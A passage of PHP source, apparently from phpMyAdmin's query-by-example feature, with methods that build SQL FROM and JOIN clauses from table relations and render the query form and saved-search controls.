not. // So we select candidate tables which are foreign tables. $foreign_tables = []; foreach ($candidate_columns as $one_table) { $foreigners = $this->relation->getForeigners($this->_db, $one_table); foreach ($foreigners as $key => $foreigner) { if ($key != 'foreign_keys_data') { if (in_array($foreigner['foreign_table'], $candidate_columns)) { $foreign_tables[$foreigner['foreign_table']] = $foreigner['foreign_table']; } continue; } foreach ($foreigner as $one_key) { if (in_array($one_key['ref_table_name'], $candidate_columns)) { $foreign_tables[$one_key['ref_table_name']] = $one_key['ref_table_name']; } } } } if (count($foreign_tables)) { $candidate_columns = $foreign_tables; } // If our array of candidates has more than one member we'll just // find the smallest table. // Of course the actual query would be faster if we check for // the Criteria which gives the smallest result set in its table, // but it would take too much time to check this if (! (count($candidate_columns) > 1)) { // Only one single candidate return reset($candidate_columns); } // Of course we only want to check each table once $checked_tables = $candidate_columns; $tsize = []; $maxsize = -1; $result = ''; foreach ($candidate_columns as $table) { if ($checked_tables[$table] != 1) { $_table = new Table($table, $this->_db); $tsize[$table] = $_table->countRecords(); $checked_tables[$table] = 1; } if ($tsize[$table] > $maxsize) { $maxsize = $tsize[$table]; $result = $table; } } // Return largest table return $result; } /** * Provides columns and tables that have valid where clause criteria * * @return array */ private function _getWhereClauseTablesAndColumns() { $where_clause_columns = []; $where_clause_tables = []; // Now we need all tables that we have in the where clause for ($column_index = 0, $nb = count($this->_criteria); $column_index < $nb; $column_index++) { $current_table = explode('.', $_POST['criteriaColumn'][$column_index]); if (empty($current_table[0]) || empty($current_table[1])) { continue; } // end if $table = str_replace('`', '', $current_table[0]); $column = str_replace('`', '', $current_table[1]); $column = $table . '.' . $column; // Now we know that our array has the same numbers as $criteria // we can check which of our columns has a where clause if (! empty($this->_criteria[$column_index])) { if (mb_substr($this->_criteria[$column_index], 0, 1) == '=' || false !== stripos($this->_criteria[$column_index], 'is') ) { $where_clause_columns[$column] = $column; $where_clause_tables[$table] = $table; } } // end if } // end for return [ 'where_clause_tables' => $where_clause_tables, 'where_clause_columns' => $where_clause_columns, ]; } /** * Provides FROM clause for building SQL query * * @param array $formColumns List of selected columns in the form * * @return string FROM clause */ private function _getFromClause(array $formColumns) { $from_clause = ''; if (empty($formColumns)) { return $from_clause; } // Initialize some variables $search_tables = $search_columns = []; // We only start this if we have fields, otherwise it would be dumb foreach ($formColumns as $value) { $parts = explode('.', $value); if (! empty($parts[0]) && ! empty($parts[1])) { $table = str_replace('`', '', $parts[0]); $search_tables[$table] = $table; $search_columns[] = $table . '.' . str_replace( '`', '', $parts[1] ); } } // end while // Create LEFT JOINS out of Relations $from_clause = $this->_getJoinForFromClause( $search_tables, $search_columns ); // In case relations are not defined, just generate the FROM clause // from the list of tables, however we don't generate any JOIN if (empty($from_clause)) { // Create cartesian product $from_clause = implode( ', ', array_map([Util::class, 'backquote'], $search_tables) ); } return $from_clause; } /** * Formulates the WHERE clause by JOINing tables * * @param array $searchTables Tables involved in the search * @param array $searchColumns Columns involved in the search * * @return string table name */ private function _getJoinForFromClause(array $searchTables, array $searchColumns) { // $relations[master_table][foreign_table] => clause $relations = []; // Fill $relations with inter table relationship data foreach ($searchTables as $oneTable) { $this->_loadRelationsForTable($relations, $oneTable); } // Get tables and columns with valid where clauses $validWhereClauses = $this->_getWhereClauseTablesAndColumns(); $whereClauseTables = $validWhereClauses['where_clause_tables']; $whereClauseColumns = $validWhereClauses['where_clause_columns']; // Get master table $master = $this->_getMasterTable( $searchTables, $searchColumns, $whereClauseColumns, $whereClauseTables ); // Will include master tables and all tables that can be combined into // a cluster by their relation $finalized = []; if (strlen((string) $master) > 0) { // Add master tables $finalized[$master] = ''; } // Fill the $finalized array with JOIN clauses for each table $this->_fillJoinClauses($finalized, $relations, $searchTables); // JOIN clause $join = ''; // Tables that can not be combined with the table cluster // which includes master table $unfinalized = array_diff($searchTables, array_keys($finalized)); if (count($unfinalized) > 0) { // We need to look for intermediary tables to JOIN unfinalized tables // Heuristic to chose intermediary tables is to look for tables // having relationships with unfinalized tables foreach ($unfinalized as $oneTable) { $references = $this->relation->getChildReferences($this->_db, $oneTable); foreach ($references as $column => $columnReferences) { foreach ($columnReferences as $reference) { // Only from this schema if ($reference['table_schema'] != $this->_db) { continue; } $table = $reference['table_name']; $this->_loadRelationsForTable($relations, $table); // Make copies $tempFinalized = $finalized; $tempSearchTables = $searchTables; $tempSearchTables[] = $table; // Try joining with the added table $this->_fillJoinClauses( $tempFinalized, $relations, $tempSearchTables ); $tempUnfinalized = array_diff( $tempSearchTables, array_keys($tempFinalized) ); // Take greedy approach. // If the unfinalized count drops we keep the new table // and switch temporary varibles with the original ones if (count($tempUnfinalized) < count($unfinalized)) { $finalized = $tempFinalized; $searchTables = $tempSearchTables; } // We are done if no unfinalized tables anymore if (count($tempUnfinalized) === 0) { break 3; } } } } $unfinalized = array_diff($searchTables, array_keys($finalized)); // If there are still unfinalized tables if (count($unfinalized) > 0) { // Add these tables as cartesian product before joined tables $join .= implode( ', ', array_map([Util::class, 'backquote'], $unfinalized) ); } } $first = true; // Add joined tables foreach ($finalized as $table => $clause) { if ($first) { if (! empty($join)) { $join .= ", "; } $join .= Util::backquote($table); $first = false; } else { $join .= "\n LEFT JOIN " . Util::backquote( $table ) . " ON " . $clause; } } return $join; } /** * Loads relations for a given table into the $relations array * * @param array $relations array of relations * @param string $oneTable the table * * @return void */ private function _loadRelationsForTable(array &$relations, $oneTable) { $relations[$oneTable] = []; $foreigners = $this->relation->getForeigners($GLOBALS['db'], $oneTable); foreach ($foreigners as $field => $foreigner) { // Foreign keys data if ($field == 'foreign_keys_data') { foreach ($foreigner as $oneKey) { $clauses = []; // There may be multiple column relations foreach ($oneKey['index_list'] as $index => $oneField) { $clauses[] = Util::backquote($oneTable) . "." . Util::backquote($oneField) . " = " . Util::backquote($oneKey['ref_table_name']) . "." . Util::backquote($oneKey['ref_index_list'][$index]); } // Combine multiple column relations with AND $relations[$oneTable][$oneKey['ref_table_name']] = implode(" AND ", $clauses); } } else { // Internal relations $relations[$oneTable][$foreigner['foreign_table']] = Util::backquote($oneTable) . "." . Util::backquote($field) . " = " . Util::backquote($foreigner['foreign_table']) . "." . Util::backquote($foreigner['foreign_field']); } } } /** * Fills the $finalized arrays with JOIN clauses for each of the tables * * @param array $finalized JOIN clauses for each table * @param array $relations Relations among tables * @param array $searchTables Tables involved in the search * * @return void */ private function _fillJoinClauses(array &$finalized, array $relations, array $searchTables) { while (true) { $added = false; foreach ($searchTables as $masterTable) { $foreignData = $relations[$masterTable]; foreach ($foreignData as $foreignTable => $clause) { if (! isset($finalized[$masterTable]) && isset($finalized[$foreignTable]) ) { $finalized[$masterTable] = $clause; $added = true; } elseif (! isset($finalized[$foreignTable]) && isset($finalized[$masterTable]) && in_array($foreignTable, $searchTables) ) { $finalized[$foreignTable] = $clause; $added = true; } if ($added) { // We are done if all tables are in $finalized if (count($finalized) == count($searchTables)) { return; } } } } // If no new tables were added during this iteration, break; if (! $added) { return; } } } /** * Provides the generated SQL query * * @param array $formColumns List of selected columns in the form * * @return string SQL query */ private function _getSQLQuery(array $formColumns) { $sql_query = ''; // get SELECT clause $sql_query .= $this->_getSelectClause(); // get FROM clause $from_clause = $this->_getFromClause($formColumns); if (! empty($from_clause)) { $sql_query .= 'FROM ' . htmlspecialchars($from_clause) . "\n"; } // get WHERE clause $sql_query .= $this->_getWhereClause(); // get ORDER BY clause $sql_query .= $this->_getOrderByClause(); return $sql_query; } /** * Provides the generated QBE form * * @return string QBE form */ public function getSelectionForm() { $html_output = '<form action="db_qbe.php" method="post" id="formQBE" ' . 'class="lock-page">'; $html_output .= '<div class="width100">'; $html_output .= '<fieldset>'; if ($GLOBALS['cfgRelation']['savedsearcheswork']) { $html_output .= $this->_getSavedSearchesField(); } $html_output .= '<div class="responsivetable jsresponsive">'; $html_output .= '<table class="data" style="width: 100%;">'; // Get table's <tr> elements $html_output .= $this->_getColumnNamesRow(); $html_output .= $this->_getColumnAliasRow(); $html_output .= $this->_getShowRow(); $html_output .= $this->_getSortRow(); $html_output .= $this->_getSortOrder(); $html_output .= $this->_getCriteriaInputboxRow(); $html_output .= $this->_getInsDelAndOrCriteriaRows(); $html_output .= $this->_getModifyColumnsRow(); $html_output .= '</table>'; $this->_new_row_count--; $url_params = []; $url_params['db'] = $this->_db; $url_params['criteriaColumnCount'] = $this->_new_column_count; $url_params['rows'] = $this->_new_row_count; $html_output .= Url::getHiddenInputs($url_params); $html_output .= '</div>'; $html_output .= '</fieldset>'; $html_output .= '</div>'; // get footers $html_output .= $this->_getTableFooters(); // get tables select list $html_output .= $this->_getTablesList(); $html_output .= '</form>'; $html_output .= '<form action="db_qbe.php" method="post" class="lock-page">'; $html_output .= Url::getHiddenInputs(['db' => $this->_db]); // get SQL query $html_output .= '<div class="floatleft desktop50">'; $html_output .= '<fieldset id="tblQbe">'; $html_output .= '<legend>' . sprintf( __('SQL query on database <b>%s</b>:'), Util::getDbLink($this->_db) ); $html_output .= '</legend>'; $text_dir = 'ltr'; $html_output .= '<textarea cols="80" name="sql_query" id="textSqlquery"' . ' rows="' . (count($this->_criteriaTables) > 30 ? '15' : '7') . '"' . ' dir="' . $text_dir . '">'; if (empty($this->_formColumns)) { $this->_formColumns = []; } $html_output .= $this->_getSQLQuery($this->_formColumns); $html_output .= '</textarea>'; $html_output .= '</fieldset>'; // displays form's footers $html_output .= '<fieldset class="tblFooters" id="tblQbeFooters">'; $html_output .= '<input type="hidden" name="submit_sql" value="1">'; $html_output .= '<input class="btn btn-primary" type="submit" value="' . __('Submit Query') . '">'; $html_output .= '</fieldset>'; $html_output .= '</div>'; $html_output .= '</form>'; return $html_output; } /** * Get fields to display * * @return string */ private function _getSavedSearchesField() { $html_output = __('Saved bookmarked search:'); $html_output .= ' <select name="searchId" id="searchId">'; $html_output .= '<option value="">' . __('New bookmark') . '</option>'; $currentSearch = $this->_getCurrentSearch(); $currentSearchId = null; $currentSearchName = null; if (null != $currentSearch) { $currentSearchId = $currentSearch->getId(); $currentSearchName = $currentSearch->getSearchName(); } foreach ($this->_savedSearchList as $id => $name) { $html_output .= '<option value="' . htmlspecialchars((string) $id) . '" ' . ( $id == $currentSearchId ? 'selected="selected" ' : '' ) . '>' . htmlspecialchars($name) . '</option>'; } $html_output .= '</select>'; $html_output .= '<input type="text" name="searchName" id="searchName" ' . 'value="' . htmlspecialchars((string) $currentSearchName) . '">'; $html_output .= '<input type="hidden" name="action" id="action" value="">'; $html_output .= '<input class="btn btn-secondary" type="submit" name="saveSearch" id="saveSearch" ' . 'value="' . __('Create bookmark') . '">'; if (null !== $currentSearchId) { $html_output .= '<input class="btn btn-secondary" type="submit" name="updateSearch" ' . 'id="updateSearch" value="' . __('Update bookmark') . '">'; $html_output .= '<input class="btn btn-secondary" type="submit" name="deleteSearch" ' . 'id="deleteSearch" value="' . __('Delete bookmark') . '">'; } return $html_output; } /** * Initialize _criteria_column_count * * @return int Previous number of columns */ private function _initializeCriteriasCount(): int { // sets column count $criteriaColumnCount = Core::ifSetOr( $_POST['criteriaColumnCount'], 3, 'numeric' ); $criteriaColumnAdd = Core::ifSetOr( $_POST['criteriaColumnAdd'], 0, 'numeric' ); $this->_criteria_column_count = max( $criteriaColumnCount + $criteriaColumnAdd, 0 ); // sets row count $rows = Core::ifSetOr($_POST['rows'], 0, 'numeric'); $criteriaRowAdd = Core::ifSetOr($_POST['criteriaRowAdd'], 0, 'numeric'); $this->_criteria_row_count = min( 100, max($rows + $criteriaRowAdd, 0) ); return (int) $criteriaColumnCount; } /** * Get best * * @param array $search_tables Tables involved in the search * @param array|null $where_clause_columns Columns with where clause * @param array|null $unique_columns Unique columns * @param array|null $index_columns Indexed columns * * @return array */ private function _getLeftJoinColumnCandidatesBest( array $search_tables, ?array $where_clause_columns, ?array $unique_columns, ?array $index_columns ) { // now we want to find the best. if (isset($unique_columns) && count($unique_columns) > 0) { $candidate_columns = $unique_columns; $needsort = 1; return [ $candidate_columns, $needsort, ]; } elseif (isset($index_columns) && count($index_columns) > 0) { $candidate_columns = $index_columns; $needsort = 1; return [ $candidate_columns, $needsort, ]; } elseif (isset($where_clause_columns) && count($where_clause_columns) > 0) { $candidate_columns = $where_clause_columns; $needsort = 0; return [ $candidate_columns, $needsort, ]; } $candidate_columns = $search_tables; $needsort = 0; return [ $candidate_columns, $needsort, ]; } }
Close